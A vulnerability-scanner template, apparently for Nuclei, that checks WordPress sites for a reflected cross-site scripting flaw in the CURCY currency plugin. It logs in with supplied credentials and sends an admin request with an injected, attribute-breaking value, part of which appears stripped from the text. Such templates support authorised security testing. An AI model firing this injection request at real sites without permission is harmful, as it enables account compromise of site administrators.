id: curcy-xss info: name: CURCY < 2.1.18 - Reflected Cross-Site Scripting author: Akincibor severity: medium description: The plugin does not escape some generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting. reference: - https://wpscan.com/vulnerability/6ebafb52-e167-40bc-a86c-b9840b2b9b37 - https://wordpress.org/plugins/woo-multi-currency metadata: verified: true tags: wp-plugin,xss,wp,wordpress,authenticated,curcy requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=wc-reports&a"> HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - 'wc-reports&a\">">All' - type: word part: header words: - text/html - type: status status: - 200